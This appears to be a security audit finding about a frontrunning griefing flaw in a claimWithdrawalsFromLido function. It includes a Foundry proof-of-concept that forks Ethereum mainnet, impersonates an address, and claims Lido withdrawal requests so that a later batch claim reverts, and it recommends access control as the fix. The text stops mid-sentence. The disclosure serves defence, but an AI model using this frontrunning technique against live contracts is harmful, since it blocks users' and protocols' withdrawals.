the problem is that suppose admin / protocol wants to withdraw using request Id [10000, 10001 and 10002]
malicious user can frontrun the claimWithdrawalsFromLido and calls the function with only the request Id [10000]
then when the admin's request execute, the whole transaction will revert because we cannot withdraw ETH using the request id 10000 twice.
the recommendation is adding access control to the function claimWithdrawalsFromLido
Proof of concept
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
interface ILidoWithdrawalQueue {
function requestWithdrawals(uint256[] calldata _amounts, address _owner)
external
returns (uint256[] memory requestIds);
function claimWithdrawal(uint256 _requestId) external;
}
contract CounterTest is Test {
function setUp() public {
}
function withdrawETH(uint256[] memory requestIds) public {
address user = 0xE5350E927B904FdB4d2AF55C566E269BB3df1941;
vm.startPrank(user);
for (uint256 i = 0; i < requestIds.length; i++) {
ILidoWithdrawalQueue lido = ILidoWithdrawalQueue(0x889edC2eDab5f40e902b864aD4d7AdE8E412F9B1);
lido.claimWithdrawal(requestIds[i]);
}
vm.stopPrank();
}
function testWithdrawalRegular() public {
// block number 19290411
address user = 0xE5350E927B904FdB4d2AF55C566E269BB3df1941;
ILidoWithdrawalQueue lido = ILidoWithdrawalQueue(0x889edC2eDab5f40e902b864aD4d7AdE8E412F9B1);
uint256[] memory requestIds = new uint256[](2);
requestIds[0] = 27139;
requestIds[1] = 27140;
withdrawETH(requestIds);
}
function testWithdrawalFrontrun() public {
// block number 19290411
address user = 0xE5350E927B904FdB4d2AF55C566E269BB3df1941;
ILidoWithdrawalQueue lido = ILidoWithdrawalQueue(0x889edC2eDab5f40e902b864aD4d7AdE8E412F9B1);
uint256[] memory requestIds = new uint256[](2);
requestIds[0] = 27139;
requestIds[1] = 27140;
uint256[] memory frontrunIds = new uint256[](1);
frontrunIds[0] = 27139;
withdrawETH(frontrunIds);
withdrawETH(requestIds);
}
}
first we can run
forge test -vvv --match-test "testWithdrawalRegular" --fork-url https://eth.llamarpc.com --fork-block-number 19290411
and the output is
[⠢] Compiling...
No files changed, compilation skipped
Running 1 test for test/Counter.t.sol:CounterTest
[PASS] testWithdrawalRegular() (gas: 85592)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.00ms
that is fine, user wants to withdraw with request id 27139 and 27140
However, if we run
forge test -vvv --match-test "testWithdrawalFrontrun" --fork-url https://eth.llamarpc.com --fork-block-number 19290411
transaction revert, because before user withdraw with request id [27139, 27140]